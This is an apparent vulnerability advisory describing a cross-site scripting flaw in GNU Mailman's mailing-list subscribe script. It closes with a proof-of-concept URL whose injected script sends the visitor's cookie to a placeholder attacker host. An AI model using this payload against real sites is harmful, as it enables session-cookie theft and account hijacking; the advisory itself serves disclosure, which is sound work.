source: https://www.securityfocus.com/bid/5298/info

GNU Mailman is prone to a cross-site scripting vulnerability. Arbitrary HTML and script code are not sanitized from the URI parameters of mailing list subscribe scripts.

An attacker may exploit this issue by creating a malicious link containing arbitrary script code and enticing a web user to visit the link.

http://target/mailman/subscribe/ml-name?info=<script>document.location%3D"http://attackerhost/attackerscript.cgi?"%2Bdocument.cookie;</script>